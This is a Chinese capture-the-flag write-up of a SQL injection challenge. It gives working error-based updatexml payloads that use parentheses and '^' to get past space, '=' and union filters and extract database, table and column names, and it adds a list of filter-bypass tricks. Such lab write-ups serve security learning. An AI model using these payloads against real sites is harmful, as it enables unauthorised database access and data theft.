报错注入 [极客大挑战 2019]HardSQL1

打开题目

输入1或者1",页面均回显NO,Wrong username password!!!

那我们输入1'

试试万能密码

1' or 1=1 #

输入1' and 1=2 #

输入1' union select 1,2,3 #

输入1' ununionion seselectlect 1,2,3 #

输入1' #

输入1'=#

页面依旧回显

说明页面过滤了=号,空格,union,就连双写绕过都不行

尝试了一下,发现and也被过滤了

我们就可以试试报错注入

我们先尝试updatexml函数

updatexml函数报错的原理是:

UPDATEXML(XML_document,XPath_string,new_value);

第一个参数:XML的内容

第二个参数:是需要update的位置XPATH路径

第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错

因为我们在上面的尝试中发现and,union,空格是被过滤的

注释符我们还是用#吧,用%23会报错

爆破数据库名

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

或者1'^(updatexml(1,concat(0x7e,database(),0x7e),1))#

得到数据库名为geek

因为题目过滤了空格,我们用括号实现绕过

爆破表名

1'^(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

得到表名为H4rDsq1

爆破列名

1'^(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

然后我们得到了

它说我们的子查询要返回1行以上

那我们就更改一下代码

1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

成功得到所有列名

爆破数据

知识点:

  • 什么是xor(异或)用法,和or(或)用法有什么区别?

①or是或运算,A or B的结果:当A、B中只要有一个或者两个都为1时,结果为1,否则为0;

即,有一个真即为真

②xor是异或运算,A xor B的结果:当A、B两个不同时结果为1,否则为0。

即,相同为假,不同为真

  • 在mysql中异或运算符的简介

mysql里异或运算符:^ 或者**xor;**

  • sql注入中绕过一些常见的特殊符号

1.绕过空格

注释符/**/绕过

非断开空格%a0(非断开空格是一种特殊的空格字符,与常规空格不同,它在文本中不会引起换行或断开。在URL编码中,非断开空格通常被表示为 %a0。)

括号绕过空格(如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。任何可以计算出结果的语句,都可以用括号包围起来。而括号两端,可以没有多余的空格)

例如:select(table_name)from(information_schema.tables)where(table_schema)='数据库名'

双写绕过空格

%20绕过空格

2.绕过引号

引号以及引号内容全部转换为16进制

3.逗号绕过

用from或者offset绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

对于limit可以使用offset来绕过:

4.等号绕过

用like即可绕过

5.比较符<>绕过

使用greatest()绕过(返回最大值)

使用least()绕过(返回最小值

6.绕过注释符号(如#,-- -)

原理是闭合后面的引号进行绕过

7.关键字绕过

知识点选自:https://www.cnblogs.com/lspbk/p/14440867.html#:~:text=SQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%201%E3%80%81%E7%A9%BA%E6%A0%BC%E7%BB%95%E8%BF%87%E3%80%81%E5%BC%95%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%81%E9%80%97%E5%8F%B7%E7%BB%95%E8%BF%87%202%E3%80%81%E6%AF%94%E8%BE%83%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%E6%B3%A8%E9%87%8A%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%3D%E7%BB%95%E8%BF%87%203%E3%80%81%E5%85%B3%E9%94%AE%E5%AD%97%E7%BB%95%E8%BF%87%20%E5%AE%8C%E6%95%B4%201.%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%88%E6%B3%A8%E9%87%8A%E7%AC%A6%2F%2A,%2A%2F%EF%BC%89%EF%BC%9A%20%E6%9C%80%E5%9F%BA%E6%9C%AC%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%EF%BC%8C%E7%94%A8%E6%B3%A8%E9%87%8A%E6%9B%BF%E6%8D%A2%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%2F%2A%20%E6%B3%A8%E9%87%8A%20%2A%2F%202.%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%E5%A6%82%E6%9E%9C%E7%A9%BA%E6%A0%BC%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E6%8B%AC%E5%8F%B7%E6%B2%A1%E6%9C%89%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%82

相关推荐
天若有情6733 分钟前
Deepseek-V4-Flash-20260423 深度评测与实战指南
java·大数据·网络·ai
codefan※3 分钟前
7 个Prompt 框架汇总:从 Chain of Thought 到 ReAct + PoT
前端·react.js·ai·llm·prompt·prompt工程·思维链
迁旭6 分钟前
Claude Code /status 功能技术文档
前端·javascript·人工智能·react.js·机器学习·gpt-3·文心一言
折哥的程序人生 · 物流技术专研8 分钟前
《Java 100 天进阶之路》第32篇:Java常用工具类(Objects、Collections、Arrays深入)
java·后端·面试·求职招聘
憧憬成为java架构高手的小白9 分钟前
苍穹外卖项目-day02
java·spring
LB21129 分钟前
C++通讯录课设(西安石油大学)
开发语言·c++·算法
GISer_Jing10 分钟前
前端全流程求职Skill 攻略
前端·学习·前端框架
西凉的悲伤18 分钟前
SpringBoot RestTemplate 介绍
java·spring boot·后端·resttemplate
Bigger21 分钟前
架构解密:mini-cc 的核心设计思路
前端·agent·ai编程
专注VB编程开发20年1 小时前
python语法设计、IDE 生态、平台策略、解析器逻辑这四层的矛盾点
开发语言·ide·python